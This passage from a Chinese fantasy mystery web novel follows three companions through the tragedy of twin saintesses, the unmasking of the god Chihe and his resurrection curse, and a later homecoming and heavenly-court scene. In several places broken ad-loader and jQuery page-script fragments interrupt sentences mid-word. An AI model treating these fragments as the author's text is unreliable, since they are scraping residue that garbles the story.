刘桃花反问:“你不是也不害怕吗?” 莲溪却道:“这世上只有别人怕我的份,我又怎会惧怕别人。” 刘桃花点了点头,心中颇为欣赏他的坦诚,她总觉得这话若是别人说,必然是虚张声势,但从他口中说出来,却是不可一世的绝对自信。 虽然狂妄,但具备狂妄的资本。 莲溪歪了歪头,道:“你,并不觉得我可怕。” 刘桃花坦然道:“既然是朋友,为什么会害怕。我不是早说过,对我来说,你很安全。而且,我觉得有个这样的朋友真的很爽啊!” 莲溪被她逗笑了,道:“我也觉得,有你这样的朋友,是件非常不错的事。” 刘桃花也这么觉得,道:“你眼光真好!” 门上的护花铃又响了一声,就像是抱怨他们二人站在门前浪费时间,刘桃花赶紧道:“咱们快进去吧,可别让圣女等太久了。” 二人走到门前,正要推门,那门却自动打开了,一阵浓郁的花香扑鼻而来,放眼望去,竟是长满了一院子的沙岚草,只留中间一条较为宽敞的过道。对面有一间屋子,房门紧闭,烛火曳曳。 这里的沙岚草与他们在外面见到的不同,这里的沙岚草长得极高,能没过人的小腿。这里的花,也不是寻常的紫色和白色,而是如火焰一般的红色,即便终日困居在这方天地中,依然开得热烈,只为了等待那个懂得欣赏它们的人。 二人穿过那片沙岚草,行至屋前,一道生硬的声音从里间传来:“贵客上门,请进吧。” 二人对视一眼,推门入内,只见圣女仍是那身华服,妆容精致,双目空洞,一动不动地端坐在椅子上,像极了一个瓷娃娃。 莲溪道:“圣女是特意在等我们吗?” 圣女仍然没动,缓缓道:“有贵客光临夜兹,我作为圣女,理当见过。” 趁着二人说话的间隙,刘桃花悄悄打开了那个小匣子,从里面飞出一只极小的蝴蝶,悄无声息地落在了圣女的脑后。 莲溪道:“那敢问圣女名讳?” 圣女一字一顿,道:“梅,喜。” 真的是梅喜。 刘桃花道:“圣女特意引我们来此,又是所谓何事?” 梅喜眼睫微颤,终于有了一丝反应,脸上的表情也变得生动,道:“你们可曾见过姐姐?” 刘桃花道:“你是说,梅令?” 梅喜忽的瞳孔睁大,情绪有些激动,道:“那是我姐姐!是我姐姐啊!”她说着说着,又突然掩面哭泣,道,“姐姐成了神仙,可她为什么不回来看看......这里,不是她最牵挂的夜兹吗......” 梅令成了神?她明明已经战死了啊! 莲溪道:“你姐姐成了神,为何没带你一起走?” 梅喜摇了摇头,道:“我不能走,不能走......姐姐走了,我也走了,夜兹怎么办......” 莲花道:“不走,你们就会被视为不祥的征兆。” 梅喜猛地站起身,狠狠地瞪着莲溪,目眦欲裂,厉声道:“我们才不是什么不祥之兆!!!”她大口地喘着粗气,转而凄声道,“该死的人是我!是我啊!但是!我只有留下来才能向那些质疑我们的人证明,我们的选择是正确的!” 莲溪叹了声气,像是猜到了什么,语气也变得柔和,道:“你一个人坚持了这么多年,一定很辛苦吧。” 梅喜的眸中恢复了一丝清明,人也平静下来,道:“为了姐姐,为了夜兹,一切都是值得的。” 此时,那只小蝴蝶飞回到刘桃花身边,她放在鼻间闻了闻,心中了然。 刘桃花道:“我们看到的夜兹民风和乐,治下清明。如果她知道你为夜兹所做的一切,一定会很高兴的。” 梅喜怔了一下,眼中亮起微光,可很快又熄灭了,道:“不,我害了夜兹,我对不起他们......对不起姐姐,对不起,这双眼睛......” 话音刚落,梅喜忽然浑身一僵,晕了过去。 莲溪眼疾手快,飞身上前接住了她,刘桃花急忙上前查看,惋惜道:“本就是已死之人,又被蛊虫反噬太久,用不了多久,她就会彻底失去清醒,‘清醒’着沉睡,直至化为虚无。” 莲溪并不意外,他并没有在她的身上发现任何法力的痕迹,行为又十分怪异,像是被人控制一般,她短暂的 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 清明,是挣扎,也是求救。 还不等莲溪要问是什么蛊时,方才梅喜坐的椅子下方发出一声响动,那是一个暗格。 刘桃花走上前去查看,发现里面放着一个精致的木盒,她将木盒取出打开,发现里面装了一本厚厚的笔录。她打开来看,上面竟然没有字,而是一些密密麻麻,但有规律的刺点。 那是盲文。 莲溪道:“那上面写了什么?” 刘桃花边看边回答道:“是梅喜用盲文记录的个人笔录,不过我能看懂。” 刘桃花不知,在她说出这句话的同时,莲溪的脸色一沉,眸中涌动着一股不明的情绪。 刘桃花见他没说话,以为他不相信,便就着笔录娓娓道来。 原来,梅喜幼时曾生过一场大病,以致双目失明,遍寻名医而无果。她们姐妹的身份在夜兹很是敏感,但并非所有人都将她们二人视为不祥之人,其中就有一位自小陪在她们身边的王庭官员,是她们的老师,也是如今的国师——目沙。 圣女只能由她们中的一个来担任,且无可替代,为了不引起百姓的恐慌,一直对外宣称只有一位圣女。至于其他反对的人,始终觉得留下她们是隐患,需得留一弃一。但姐妹二人意志顽强,且信念坚定,并在目沙的照顾下逐渐长大。 在她们十岁那年,两姐妹的才能都逐渐显现出来,但梅喜却突然生了一场病,最终导致双目失明,朝中大臣便以“安固国本”之名,要将失明的梅喜献祭,梅令以性命要挟才保住了梅喜的性命。 毕竟在这个国家,君王与圣女都是不可或缺的,一旦被选中就很难更改。 梅令成为圣女,为了不让那些人伤害梅喜,在位期间,手段雷霆,兢兢业业,更是为了与合古台和平共处而四处奔波,也因此结识了赤禾。他们二人志趣相投,志愿相同,都希望在这一代结束两族长达几百年的纷争。 就在梅令以为大愿将成之时,赤禾被一位路过的神官点将,一跃飞升成神。赤禾飞升后,曾来找过梅令,问她是否愿意修道成仙,并说以她的能力定能飞升。梅令拒绝了,大愿未成,她不能舍弃她的国家,还有她视若珍宝的妹妹。 赤禾飞升后不久,合古台便举全国之力攻打夜兹,城中更是出现了内鬼,后来才知,梅令身边的下属早已有人投靠了合古台,太子飞升,正好给了合古台内部反对议和的人以可乘之机,借机将夜兹一举歼灭。 内忧外患,梅令愧疚难当,于是披甲上阵,击退敌军。她知此战凶多吉少,心中唯一放心不下的就是梅喜,故出征前,将自己的眼睛换给了她,这样即使她死了,妹妹也能好好的活下去。 最终梅令战死沙场,夜兹惨胜,合古台亦伤。 梅喜代替梅令力挽狂澜,第一件事便是将背叛夜兹,构陷梅令的亲随及国师亲手斩杀于王庭,提拔目沙为国师,但她们双生子的身份也因此暴露,百姓不知内情,称她是祸国妖女。她安抚民心,休养生息,礼下万民,获得了全城百姓的拥戴,但她却选择承袭梅令的遗志,甘愿做一个臭名昭著的圣女。 当她以为一切都在向好发展时,夜兹却变了,夜兹被困住了。 作为圣女的她,无能为力,只能眼睁睁地看着那些想要回家的人死在了家门外,永远地被困住了。 正当她快要绝望时,有人告诉她,梅令没有死,而是和赤禾一样,飞升了。她心中燃起希望,一次次试图向外求救,希望姐姐能看到,可是没有人。 她不明白,也不知被困了多久,只知道那些想要回家的人越来越少。她能做的就只有在庙里为他们立一方无字灵牌。 她才是那个最该死的人。 姐姐,沙岚草又开花了,你看到了吗? 14. 造化戏相克相生 如此一看,之前许多的疑问都有了答案。夜兹百姓不谈圣女,不是因为畏惧,而是因为敬重;目沙对那歌谣作反应,不是为了遮掩,而是为了保护;胡杨林中那些喊着“留下来”的跷奴,不是冒险求财的外人,而是一代代想要回归故土的人;梅喜不惜名声尽毁也要一次次地“伤害”梅令,不是为了报复,而是为了求救。 可问题又来了,那两个女店主为什么要掩盖梅喜发出的信息呢? 这时,江鱼恰巧赶来,手中举着一个残卷,道:“哥!桃花!有大发现!!!” 江鱼才一站定,就看见躺在地上的梅喜和一旁站着的两人,道:“啥情况?!她咋了?又死了?!” 刘桃花看了一眼梅喜,语气冷冷的,道:“她现在就是个活死人,用不了多久,她就真死了。她比梅令会好点吧。” 江鱼听得糊涂,这姐妹俩怎么又变成活死人了,还未及细想,突然想起自己在庙里找到的那本残卷,道:“差点忘了,你们快来看这个!”说着,便翻开残卷中的一页,上面写着“夜兹北迁,遇劲敌是为天意。贫瘠之上,遇干戈为生机。异命同根,一生则共生,一灭则共灭。” 莲溪道:“看来合古台的覆灭也并非偶然。” 突然,“嗖”的一声,三支弩箭齐发,直指三人。 莲溪眸光一闪,那三支弩箭便在半空折断,随后折扇从腰间飞出,引那暗处之人正面交锋。 对方一言不发,只见黑暗中时有银光破空,利器相击的声音不绝于耳。莲溪虽未亲自应战,但观他神色,比之他先前对付那群跷奴时,不费吹灰之力,如今这个,却是稍微认真了一些,足可见此人法力不弱。 方才刘桃花还没来得及说出梅喜身中何蛊,就被江鱼打断了,兜了这么大一圈,终于是把这所有的事情都串联到一起。 真想不到,他竟然能藏的这么深。 刘桃花也不拐弯抹角,道:“你还要继续打下去吗?赤禾将军。” 听她这么一喊,黑暗之中,扇器相击之声,戛然而止。 一人从黑暗中走出,却是火木。 刘桃花一愣,随即便反应过来,只觉自己太傻,“火木”与“赤禾”,早该想到的。 如果先前还不明白为什么会是赤禾,那么再知晓梅喜所中的蛊是什么,以及梅喜笔录中所记载的关于梅喜与赤禾的种种,一切都说得通了。 刘桃花道:“你给梅喜所下的蛊是你们合古台的秘术同命蛊吧。” 赤禾攥紧了拳头,没有出声。 刘桃花接着道:“在你们合古台先代某位巫师发明了一种蛊,可让人起死回生,但此蛊要求极为严苛,且风险极大,多少年来也没人敢轻易尝试。同命蛊,需以血脉至亲为引,以活人精血滋养魂灵,以命换命,人死复生。同命蛊顾名思义,不仅需要受蛊人与被救者同命双生,下蛊人也要有足够长的寿命来等待,可谓是将三个人的性命捆绑在了一起。” 人之寿命,不过几十载,恐怕还没等到人活过来,下蛊的人就先死了,赤禾飞升成神,寿岁漫长,正好具备这个条件。他与梅令一心想两族修好,但他的理念并没有在合古台内部受到多少支持。神明飞升之后,不可再介入前尘,这是为了不破坏三界有序的发展。于是,他便借机劝梅令修道成仙,但梅令拒绝了他。 没多久,当初那些反对赤禾的人便趁机发动战争,致使梅令战死。他心中有愧,又因她说不愿成神,便想到了同命蛊。他从未见过梅喜,只知梅令对妹妹的爱重,却不知妹妹亦是如此。故而在梅喜杀死了梅令生前的亲随及国师后,赤禾更加坚定了想要用同命蛊救活梅令的想法。 赤禾便将一切都嫁祸到梅喜身上,封闭夜兹,让外面的人进不去,里面的人出不来,以蛊控制,而非法术。既可以躲避世人眼线,亦可躲避天庭追查,独善其身。 赤禾初出茅庐,要想修的强大的法术并非易事,他精设此局,已耗费良多。怎料,合古台突发洪水,一夕覆灭,他分身乏术,只能看着故国覆灭而无所作为。 刘桃花道:“不知我说的可对?赤禾将军。” 赤禾听后,紧闭双眼,仰天长叹,苦笑一声,道:“你们是如何认出我的?” 莲溪道:“初见你时,你的额头虽有诺巴,但你的身上却没有沙岚草的香味。因夜兹人人都有诺巴,空气中的沙岚草香为你打了掩护。如今看来,你想救国而未成,即便假扮夜兹人也不会做全套。还有上弦月祭祀,在那样重要的日子里,你却中途离场,这很难不让人怀疑。” 赤禾自嘲般笑了声,道:“想不到我筹谋百年,终是功亏一篑,但我不后悔!”他看向躺在地上的梅喜,眼含怨恨,道,“是她对不起梅令!我不后悔!” 莲溪道:“有些事你必须要知道。” 赤禾道:“你什么意思?” 莲溪道:“你以为梅喜杀了梅令的手下,还夺了她的眼睛,是因为她们双生子的身份心生怨恨。恰恰相反,她们姐妹二人的感情无比坚韧,她杀了那些人是因为他们早已暗中投靠合古台,背叛了梅令。你说梅令不愿成神,她就真的成不了神吗?” 赤禾喃喃道:“这怎么可能......” 莲溪将那残卷丢到他跟前,道:“你故意让我们听到的那首自编歌谣中说‘双生弃,双生泣,夜兹危矣。’你看看那残卷所写,究竟是双生圣女使其危,还是你的所言所行使其危。” 赤禾捡起残卷,看过之后,瞳孔骤然收缩,残卷从他手中掉落,他无力地跪倒在地上,心中仿佛有什么东西在一点点坍塌。 夜兹与合古台虽是信仰上的天敌,但当夜兹踏上这片土地开始,他们两族之间的命运就已经锁在了一起。虽是天敌,但并非不可相和,一片土地的发展,也并非靠一族之力就能成功。正因他们命运相连,在百年的竞争与斗争中,让这片贫瘠的荒漠有了生机,并从部落发展成国家。若非如此,任意一方,早在百年的争斗中覆灭了。 赤禾设法将夜兹封闭,已是变相将夜兹带向灭亡,夜兹不在,与之相连的合古台自然也就不存在了。 赤禾猛地朝天怒吼一声,这一声吼,似是用尽了全身的力气,他一心坚持要做的事情,终于成为了一场愚不可及的笑话。 他与梅令一生所求不过是两族修好,到头来亲手将这个愿望粉碎湮灭。 江鱼看着眼前这一幕,心里不是滋味,但有件事又不得不做,道:“梅令在哪?” 赤禾拿出一个锦袋,一道白光闪出,肉身完好,相态平和的梅令出现在眼前。 江鱼将梅令与梅喜放在一处,或许是她们心有感应,才一接触,她们的身上就散发出一道柔和的光,她们在这束光中渐渐消散,各化作一点星光融合在一起,化为了一株沙岚草。 恰在此时,天光破晓,第一缕阳光洒在了那株沙岚草上,开出了火一般热烈的花。 远处,有一人从逆光中缓缓走来,走近一看,那是个一身白色道袍,手持拐杖,走起路来晃晃悠悠,十分滑稽的老头。他神采奕奕,身上笼罩着一层淡淡的灵光,那是神才有的光芒。 那老头缓步走上前,朝三人微一欠身,道:“吾乃陶仲,是天帝部下的监察官。”他看到了地上的赤禾,又道,“此次多亏几位小友破获夜兹奇案,帝君不胜感激。” 莲溪“哦?”了一声,道:“既然不胜感激,那不知你们那位帝君可有什么奖赏?” 陶仲一时语塞,琢磨片刻,道:“如今三界皆知天稷榜现世,天榜既出,必有奇人破获奇案。三位天资卓绝,定是被天榜选中的命定之人,他日必是前途无量,帝君又如何能左右得了呢。” 江鱼冷哼一声,从莲溪身后走上前来,道:“那你,是要将他带走了?” 陶仲道:“赤禾乃是我天界之人,自然该由我来带走。” 江鱼又看了眼已无生念的赤禾,摆了摆手,道:“带走吧。” 赤禾望着那株沙岚草,神色复杂,周围的一切都与她无关,是死是活也无关紧要。 曾经的坚持与后来的念想,一团火,燃烧,熄灭,冷却,成冰。 他动了动唇,似是有许多话想说,但还是算了吧。 陶仲一听,二话不说就掏出一副捆仙锁,将赤禾五花大绑,“嘿呦”一声,扛上肩头。 刘桃花一惊,真不愧是神仙啊,拄着拐棍,肩上还能毫不费力地抗个人。 陶仲走了两步,忽然从怀中掏出一枚印章,在墙上印了一下,上面刻着“屁股后面收摊,也不轻松”。 刘桃花:“......” 莲溪:“......” 江鱼:“......” 陶仲走了,一切归于平静,刘桃花忽然想到了什么,飞奔出门,莲溪与江鱼见状,也紧随其后。 果然,当他们再次走上街头,昔日繁华热闹的都城,转瞬间就变成了一片废墟,大街上空无一人,只余残垣破壁和无尽的荒凉。 这时,曼罗羡与巫塔丽突然出现,她们看着眼前的景象,一时悲从中来,但又似乎早已知晓了这样的结局,无声地流着泪。 刘桃花走上前去,道:“她们姐妹已经化作一株沙岚草,永远在一起了。” 二人闻言,像是忽然明白了什么,终是难再压抑情绪,抱头痛哭起来。
'');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' > 过了好一会儿,刘桃花道:“你们为何要隐瞒梅喜的事?” 曼罗羡闻言,稳了稳心绪,道:“我与巫塔丽乃是梅令的暗卫,我们的职责就是保护圣女。” 大战前,梅令曾嘱托她们二人保护好梅喜。那时,她们并不知此一战是生死之战。梅令在外迎敌,她们在内锄奸,却终是没能逃过小人暗害。 她们虽身死,但心中始终记着梅令的嘱托,执念难消,因此无法度过轮回。后在千相浮游的帮助下,成为鬼,拥有了法力,回到了夜兹。 但那时的夜兹已被封闭,她们进不去,只能留在高历,日复一日的遥望着故乡,遥望着她们要守护的人。 梅喜的所言所行传到了高历,她们不知缘由,也不明白为何会性情大变,为了与梅令的承诺,她们只能将消息掩盖,不让她的声誉变得更糟糕。 她们在高历城,守着那些因外出经商或游学等原因,未能归家的夜兹人,让他们在那里繁衍生息,守住了最后一丝希望。可一个对故土情深的人,又岂有故土就在眼前,却不归家的道理。他们一次次踏上回家的路,却止于家门前,永远望着他们心念的故乡。 最后的最后,就只剩下她们二人。 百年等待,只为一诺,百年跋涉,只为归家,却终究是造化把人戏弄。 刘桃花思虑再三,还是没有将实情告知她们,只是说:“梅喜很好,她们姐妹二人一定会很感激你们为她们所做的一切。” 曼罗羡与巫塔丽向三人行了一礼,那是夜兹的礼节,道:“谢谢你们为夜兹所做的一切,若三位日后能够见到千相大人,请代我们说一声‘谢谢’。” 三人颔首应诺,曼罗羡与巫塔丽再行一礼,便化作涓涓细沙,随风散去了。 刘桃花忽然想起查拉给她的包裹,她赶紧从包里拿出,打开来,里面是一份笔记和一封信。她拆开信,里面只有几句话:“诺巴是夜兹人的生命,我一生钻研,不敢怠慢。与姑娘一见,深感投缘,亦知夜兹将覆,我不愿这门技艺失传于世。今盖将我一生所学托付于姑娘,望姑娘能将它传承下去,让世人都知道有一个国家叫夜兹。” 刘桃花将信收好,紧紧地握着这本笔记,心中久久无法平静,她望向天边的一轮红日,心道:“我答应您,一定会将诺巴发扬光大,让夜兹这颗沙漠明珠,永不蒙尘。” “当”“当”“当”三声空响,一道空灵的声音响彻在三人的耳畔。 “在下天稷榜灵,在此恭迎天稷人。” 江鱼左右望望,没见有人,大喊一声,道:“什么东西装神弄鬼的,快给我出来!” “......” “都说了我是榜灵!!榜灵!!!” 莲溪道:“你刚才说,我们是天稷人。” “没错!幸运吧!你们可是被天稷榜选中的命定之人!” 莲溪挑了下眉,冷笑道:“幸运?你一个没有实体的蠢东西,说了也是在浪费光阴。” “!!!!!” “......看在你是天稷人的份上,我不与你计较!” 刘桃花道:“我们累死累活走一遭,出来就被你定为什么命定之人,也不问问我们愿不愿意。” “这是天意!” 刘桃花道:“我从不信什么天意,只相信人为。你选了我们,却给不出同等的酬劳,什么天意,都是放屁。” 江鱼附和道:“对,都是放屁!” “......” “你们......你们......”那声音顿了一会,似是发出一声叹息,又道,“现在的年轻人怎么没有礼貌的!真是一代不如一代啊......!!!” “那什么,既已选定,改无可改。不过,你们会通过天稷找到你们心中一直在寻找的答案。最后还有特别惊喜哦!” 三人默然。 莲溪道:“有意思,看来这一趟是非走不可了。” 刘桃花“哎呦”一声,一屁股坐到地上,打了个哈欠,道:“成了真正的勇士,以后却要辛苦喽!” 江鱼道:“喂!你不会一直这副样子,见不得人吧。” “呸呸呸!你才见不得人呢!只是还差一个人,不能露面而已。” 原来还有一个人啊。 刘桃花站起身,道:“莲溪啊,还真被你说中了。看来我们不用有缘再见,以后已经在等着我们了。” 莲溪笑道:“我很期待。” 江鱼道:“我也很期待。” 黄沙漫漫,红日当空,天边传来几声雁鸣,他们身影,在阳光下,在沙丘上,在他们的眼中,交相晖映。 15. 凡见春谈天上瘟 那日三人自大漠分别后,刘桃花就回了兴风小筑。 那是一间坐落在梯田山脚下的小院,是她的家。 她哼着小调,一手提着小半扇羊排,一手随意在路边薅起一根狗尾巴草,悠悠达达地穿过一条鹅卵石铺成的小路,推开门,一院的花海映入眼帘。 花海尽头,一男子正闭目仰躺在摇椅上,手上的蒲扇有一搭没一搭地摇着。 刘桃花道:“我回来啦!” 那男子闻声一激灵,手上的蒲扇滑落在地,一个哈欠打了一半,被生生地吓了回去,道:“哎呦我的乖哦!真是要吓破胆喽!我这老胳膊老腿的,可禁不住你这么吓啊!”说罢,便将蒲扇捡起,半掩着脸,作势要哭。 刘桃花无奈摇头,道:“您在这种花真是屈才了啊。” 那男子一听,立马放下折扇,莞尔:“朝朝,欢迎回家!” 刘桃花举了举手上的羊排,笑道:“爹爹,我回来了。” 男子缓缓起身,转过身时,有风吹起他鬓角的一缕发,明明是在夏日,却有一股如沐春风的温和清爽。他面如冠玉,目若桃花,额上一点朱砂痣,薄唇一笑,阴霾尽扫。一袭素袍置于花海中,远远望去,活像个仙风道骨的神仙,哪里晓得那只是个种花匠呢。 他朝她小跑而来,双臂张开,像是要给刘桃花一个大大的拥抱。 刘桃花看着越来越近的老父亲,手一伸,用羊排紧急叫停了他的脚步。 男子停下的瞬间,歪头看向刘桃花,抱怨道:“喂!你什么意思?” 刘桃花撇撇嘴,语气十分随意,道:“没什么意思,就是想让你拿下羊排。我提了老半天,怪累的。” 男子“哦”了一声,一把拿过羊排,扭头就走。 刘桃花低笑一声,快步追上,越到他身前,一把扑进他怀里,撒娇道:“爹爹,言朝回来了。” 男子将羊排举的老高,揉了揉言朝的头,宠溺又无奈,道:“你这孩子,都这么大了,还是这么皮。” 言朝道:“这么久不见,我可是很挂念您呢。” 男子轻抚两下她的背,道:“还好意思说挂念我,宁可叫人送信给我,也不见你回家一趟。” 言朝抬起头,眼睛亮晶晶的,道:“我这不是回来了嘛。” 男子刮了下她的鼻子,往后退了两步,仔细观察了半天,心疼道:“怎么出去一趟又瘦了......你怎么......” “好了爹。”言朝出声制止,上前挽住他一侧手臂,朝屋里走,道:“我这不是想您想的嘛,您看我还特意带了羊排回来,和您一起补一补。” 男子道:“净会说好听的。你得像你娘一样,胖点才好,女孩子不用也不能太瘦......” 言朝道:“知道啦知道啦!” 言朝才一进屋,就看见桌上放了一本书《新天稷传》,没想到这话本仙人效率还挺高。 言朝道:“您什么时候喜欢看这种书了?以前不是一直都只看娘留下的医书吗。” 男子道:“我不看看怎么知道,我的女儿在外面都做了些什么。” 言朝没答话,坐到椅子上,倒了一杯茶,闻了一下,还是她熟悉的味道。咕咚几口下肚,满足地伸了个懒腰,满身的疲惫都消散了,整套动作一气呵成。言朝吐了一口气,道:“您怎么确定这里面一定有我?” 男子一听,叉着腰,眉头上扬,道:“你是我明祈的女儿!我这个当爹的还能不了解自己的女儿!” 言朝点了点头,顺手拿起桌上的书,想看看话本仙人是怎么写自己的,才一翻开,就被明祈一把抢过来,言朝不解,道:“怎么,我看看自己还不行。” 明祈道:“我且先问你,这趟玩得咋样?” 言朝想了想,道:“没意思......” 明祈道:“啥???” 言朝道:“您别着急啊,我还没说完呢。” 明祈听罢,就手坐到她旁边,给自己也倒了杯茶,坐得笔直,催促她:“你快说快说!” 言朝道:“天稷榜现世,引三界群观。我以为会有很多人去,毕竟,这是难得可以一步登天的机会。还有呼声最高的春山楼主,我以为就算本人不出现,也会有许多假冒的,结果除了我,就来了两个人。” “本来想看个热闹,结果却把自己搭进去了,好不容易有个假期,全都赔进去了。”言朝一想到这,忍不住扼腕叹息,“不过,遇到了两个有意思的人。他们大抵是不需要登天的,因为他们已经是了。” 明祈“哦?”了一声,抿了口茶,道:“你说的,是那位骑驴的妙音郎君和挥扇的玉面公子吗?” 言朝“噗”的一声,喷出一口水,哈哈笑了两声,道:“妙音郎君???您没看错???” 明祈道:“是啊,就是叫妙音郎君啊。”说罢,明祈还翻出书页给她看。 言朝看了好几遍,道:“好吧。玉面公子不假,这妙音郎君......别是这话本仙人有什么把柄在他身上,才给他起了个这么‘妙’的诨号。” 明祈道:“看来你对他印象不错。” 言朝笑了笑,道:“他做饭不错,不过我觉得他哥哥更有趣些。” 明祈蒲扇轻摇,忽然凑近,道:“他长得不错吧。” 言朝实话实说,道:“是不错。” 明祈道:“对他有意思?” 言朝咋舌,道:“您想哪去了!我只是觉得,比起另一位,他更神秘。” 记忆中,他总是在笑的,但这其中的含义却令人捉摸不透,不知是不是错觉,好像看向她时,他总是笑得很真诚。她试图透过这笑看清眼前人,偏他又保持着一定的距离,观他种种行径,好像也没想刻意隐瞒,反而是期待她亲自去发现。似近似远,好生神秘。 明祈“哦~”了一声,笑道:“那就是他对你有意思。我说你怎么愿意丢下我这个孤寡老人,原来是去觅佳人了。” “......” 明祈:“老实交代,你们俩之前是不是认识?” 言朝摊手,道:“没印象。” 明祈意味深长地道:“没准儿你们俩是上辈子认识的呢。就像我跟你娘,我们俩就是一见如故,好像上辈子就认识一样。”明祈陷入回忆,一脸幸福。 言朝望着父亲,唇角也不自觉地扬起,她时常觉得自己很幸运,虽然她从未见过自己的母亲,却并不悲伤,母亲始终都陪在他们身边,父亲也给予了她全部的爱。 虽有遗憾,但她已经是这世上最幸福的人了。 言朝道:“我不是还有个素未谋面的未婚夫吗?我挺好奇的。” 明祈一听,当即摇头,道:“那都是八百年前的老黄历了。那孩子是不错,可当初是我那泼皮老友提的,我可没同意啊。如今那孩子若再出现我面前,我更不一定同意。” 言朝见他说得斩钉截铁的,道:“那您可要记住今天的话,要是哪天他真出现了,记得替我挡着点啊。” 明祈拍着胸脯,保证道:“那你放心好了。哎不过话说回来,要是你来日更上一层楼,可不能把我这个孤寡老人撇下不管啊。” 言朝指了指桌上的《新天稷传》,道:“您还孤寡老人呢。足不出户便已知天下事,乐得自在,何来孤寡。再说了,我如今这样已是最好,再上还能上到哪去。” 明祈若有所思,声音有些低沉,道:“是啊,春山楼的确是个好去处。” 言朝望向明祈,眼神坚定,道:“不管发生什么事,我们一家人永远都不会分开的。” 明祈笑了一声,道:“我看那书中所写,你们这一路上也经历了不少状况,最后的结局也着实令人唏嘘啊。” 言朝道:“您怎么看这件事?” 明祈道:“他们想要两族和平共处,如今都没了,怎么不算是一种和平共处呢。天意也好,造化也罢,问题从来不是一个人造成的,时间在向前,关系也在改变,不然乌目又怎么会攻打夜兹呢。” 言朝道:“如果他们早知今日的结果,还会做出同样的决定吗?” 明祈道:“夜兹先祖预言双生子会给夜兹带来灾难,最后的确在双生子这一代断了,可这背后还有那位神官,他因愧疚想救朋友,可也因此错失了拯救自己国家的机会。而他作为神官,无论是夜兹还是合古台都不该插手,这是很难说清的。” “很难说究竟谁对谁错,值不值得,旁人说了不算,只有当事者自己说了才算。你当初离家时,不正是坚定 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 了这一点吗。” 言朝单手支着下颌,眨眨眼,调皮道:“那还不是学您?” 明祈弹了一下她的额头,道:“臭丫头!什么都学我是吧!” 言朝笑了两声,道:“好啦好啦!我跟那位妙音郎君学了道菜,特意买了羊排回来做给你吃。尝尝?” 明祈双手拍桌,激动地直点头,道:“好啊好啊!我可是好久没吃过你做的饭了!” 言朝提着羊排去厨房,照着江鱼的配方一步步操作,动作有条不紊,看得出也是精通厨艺之人。不过平心而论,言朝自认是比不上江鱼的,她只是会,却没精研此道。 一盆热乎乎的宽水羊肉和焦香的烤饼端上桌,明祈迫不及待地搓搓手,道:“闻着可真香啊!” 言朝给他盛了碗汤,拿了张饼,明祈一口羊肉,一口饼,闭上眼睛细细品尝,倏地一怔,看着眼前的肉汤久久出神。 言朝道:“怎么了?” 明祈摇了摇头,笑道:“没什么,只是觉得味道很熟悉,让我想起了一位老朋友。” 言朝没说话,静静地等着他的下文,她知道,父亲一想起他的老朋友总是要说上一番的。 明祈道:“他虽然是一国太子,却没有一点高高在上的架子。他的厨艺还是我们几个当中最好的,当初他的妻子也是被他的厨艺打动的。想不到这么多年过去,还能吃到如此相似的味道,真是有些怀念啊。” 明祈眉目平和,唇边带笑,可他的语气却带着淡淡的忧伤。 他话锋一转,又道:“他的孩子也不知如今过得好不好。好多年没见了,应该......过得挺好。” 此时此刻,天都。 凡人以为,神仙生活的地方必是仙阁宫阙重重,周身仙气渺渺,仙人腾云驾雾,御仙兽来去自如。仙宫楼阁,华丽精美,高处不胜寒,非凡人所能见。 但实际上,天都建制与凡间并无不同。天都分为内庭与外庭,内外由一道九天垂下的瀑布相隔,瀑布之外是外庭,是低阶神官或普通的仙子仙女所居之地,那里有一个集市,名为“明月昭”。因为他们无人供奉或信徒较少,便会在那里售卖一些灵药宝器之类的天界之物来为自己赚取一些功德,春山楼的天庭分店就开在这里。 瀑布之内,就是高阶神官的所在地了。亭台楼阁,小桥流水,云雾缭绕,过往仙人或讲经论道,或结伴踏歌,端是一幅热闹祥和的景象。穿过宽阔的大街,行至尽头,有一座雄伟的宫殿,金顶之上镶嵌着一颗明珠,散发着耀眼的光芒,光芒普照整个天都,是整个天都的中心。金顶之下,“天迦殿”三个大字苍劲有力,这里便是帝君含越的宫殿。 踏上九十九级仙阶,进入大殿,殿中已有几位神官在列,原本还是静默不语的状态,一见来人,便交头接耳地小声议论起来。 “这个瘟神怎么来了?” “他谁啊?” “他可是瘟神。可他不是常年都在下界,守着他那片破园子吗?怎么还上天来了......” “快离他远点儿!” “你们真是吵死了!以为天迦殿是你家吗!” 不知是谁冷飕飕地说了这么一句,议论之声骤减。 “别说了,帝君还在呢。” 一时间,殿下众神未敢再言。大殿尽头的宝座上坐着一位身着明月珰袍的武神,正是他们口中的帝君。 他容貌俊朗,闭目养息,五官略显锋利,自他周身运转出源源不断的灵气,萦绕在整座大殿之上,这要是吸了一口帝君的仙气,没准还能提升一下修为,可在场的全都凝神静气,大气都不敢喘。 来人在殿前站定,他缓缓睁眼,他双目极黑且深邃,仿佛世间万物皆在他的眼中,这时再看,他仍是庄严肃穆,却不见锋利,而是带着一点雅痞。 含越淡淡开口,道:“良旭,你回来了。” 那人朝他微微俯首,恭敬又疏离,道:“帝君。” 站在帝君身侧的陶仲略一抬头,心头一惊,那人一身青袍,长发束冠,头戴抹额,周身自带一股王族的贵气。更重要的是,他的容貌竟与含越有六分相似。 这不是在下面遇到的那个牵驴的年轻人吗?! 他竟然就是瘟神!帝君的儿子! 16. 凡见春谈天上瘟2 那他岂不是比自己岁数都大! 陶仲仿佛知道了一个不得了的大八卦,虽面色平静,但藏在长袖下的手正激动得颤抖。 但这在天庭并不是什么秘密,陶仲飞升于三百年前,而这位让人避之不及的含越之子,瘟神良旭殿下飞升于六百年前,飞升后常年居于下界,鲜少回天,偶尔回来几次也是少有人知。所以那些后来的神官对于这号人物,只闻其名,未见其人。 说起这位良旭殿下,本名遥旭,是含越与兰依元君的孩子。一个是曾与汐乐将军并称为“苍烛双杰”的武神父亲,一个是有着“三界第一文神”称号的文神母亲,他的未来必定是一片坦途。 恰恰相反,他不仅没有得到丝毫助力,反而遭到了众仙的嘲笑与鄙夷,更关键的,还在于含越的漠视。 神之后代皆为肉体凡胎,若想成神,须得自行修炼。可飞升哪是那么容易的事情,这不仅要看天资、努力,更要看运气。有些人能年少飞升,而有些人垂垂老矣才得以飞升。 